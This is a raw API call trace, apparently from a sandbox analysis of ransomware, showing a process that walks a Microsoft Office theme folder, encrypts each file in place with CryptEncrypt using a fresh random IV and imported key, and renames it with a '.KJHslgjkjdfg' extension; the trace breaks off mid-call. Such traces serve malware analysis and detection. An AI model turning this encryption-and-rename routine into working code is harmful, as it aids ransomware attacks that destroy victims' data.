[0149.924] GetProcessHeap () returned 0x2a0000 [0149.925] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0149.925] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0149.925] GetProcessHeap () returned 0x2a0000 [0149.925] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0149.925] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SPRING", cAlternateFileName="")) returned 1 [0149.925] GetProcessHeap () returned 0x2a0000 [0149.925] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8e) returned 0x2ef2d8 [0149.925] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0149.925] GetProcessHeap () returned 0x2a0000 [0149.925] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0149.925] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0149.925] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9df, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0149.925] GetProcessHeap () returned 0x2a0000 [0149.925] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x290) returned 0x2f32d0 [0149.926] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0149.926] GetProcessHeap () returned 0x2a0000 [0149.926] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0149.926] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0149.926] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0149.926] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x1, lpOverlapped=0x0) returned 1 [0149.929] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0149.929] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0149.929] GetProcessHeap () returned 0x2a0000 [0149.929] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0149.929] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0149.929] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.929] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0149.930] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0149.930] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0149.930] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0149.930] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0149.930] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0149.930] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0149.930] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0149.930] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.930] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x9df, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x9df, lpOverlapped=0x0) returned 1 [0149.930] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x9e0, dwBufLen=0x9e0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x9e0) returned 1 [0149.930] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.930] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x9e0, lpOverlapped=0x0) returned 1 [0149.931] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.931] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.931] SetEndOfFile (hFile=0x118) returned 1 [0149.933] GetProcessHeap () returned 0x2a0000 [0149.933] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0149.933] GetProcessHeap () returned 0x2a0000 [0149.933] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0149.933] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.kjhslgjkjdfg")) returned 1 [0149.934] CloseHandle (hObject=0x118) returned 1 [0149.934] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab5b300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2ab5b300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x10af1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SPRING.ELM", cAlternateFileName="")) returned 1 [0149.934] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0150.603] GetProcessHeap () returned 0x2a0000 [0150.603] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0150.603] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0150.603] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0150.603] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xf, lpOverlapped=0x0) returned 1 [0150.658] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0150.658] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0150.658] GetProcessHeap () returned 0x2a0000 [0150.658] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0150.658] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0150.658] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0150.658] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0150.799] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0150.799] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0150.799] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0150.799] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0150.799] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0150.799] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0150.800] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0150.800] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.800] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x10af1, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x10af1, lpOverlapped=0x0) returned 1 [0150.801] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x10b00, dwBufLen=0x10b00 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x10b00) returned 1 [0150.802] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.802] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x10b00, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x10b00, lpOverlapped=0x0) returned 1 [0150.802] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0150.803] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x10bc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.803] SetEndOfFile (hFile=0x118) returned 1 [0150.806] GetProcessHeap () returned 0x2a0000 [0150.806] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0150.806] GetProcessHeap () returned 0x2a0000 [0150.806] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0150.806] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm.kjhslgjkjdfg")) returned 1 [0150.809] CloseHandle (hObject=0x118) returned 1 [0150.809] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SPRING.INF", cAlternateFileName="")) returned 1 [0150.809] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0150.811] GetProcessHeap () returned 0x2a0000 [0150.811] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0150.811] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0150.811] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0150.811] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xe, lpOverlapped=0x0) returned 1 [0150.812] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0150.813] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0150.813] GetProcessHeap () returned 0x2a0000 [0150.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0150.813] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0150.813] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0150.813] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0150.813] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0150.813] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0150.813] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0150.813] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0150.814] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0150.814] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0150.814] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0150.814] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.814] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1d2, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x1d2, lpOverlapped=0x0) returned 1 [0150.814] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1e0) returned 1 [0150.814] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.814] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x1e0, lpOverlapped=0x0) returned 1 [0150.814] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0150.814] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x2a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.814] SetEndOfFile (hFile=0x118) returned 1 [0150.817] GetProcessHeap () returned 0x2a0000 [0150.817] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0150.817] GetProcessHeap () returned 0x2a0000 [0150.817] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0150.817] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf.kjhslgjkjdfg")) returned 1 [0150.825] CloseHandle (hObject=0x118) returned 1 [0150.826] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0150.826] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0150.827] GetProcessHeap () returned 0x2a0000 [0150.827] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0150.827] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0150.828] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0150.828] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xb, lpOverlapped=0x0) returned 1 [0150.830] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0150.830] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0150.830] GetProcessHeap () returned 0x2a0000 [0150.830] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0150.830] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0150.830] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0150.830] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0150.830] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0150.831] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0150.831] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0150.831] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0150.831] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0150.831] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0150.831] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0150.831] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.831] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4c45, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x4c45, lpOverlapped=0x0) returned 1 [0150.832] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x4c50, dwBufLen=0x4c50 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x4c50) returned 1 [0150.833] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 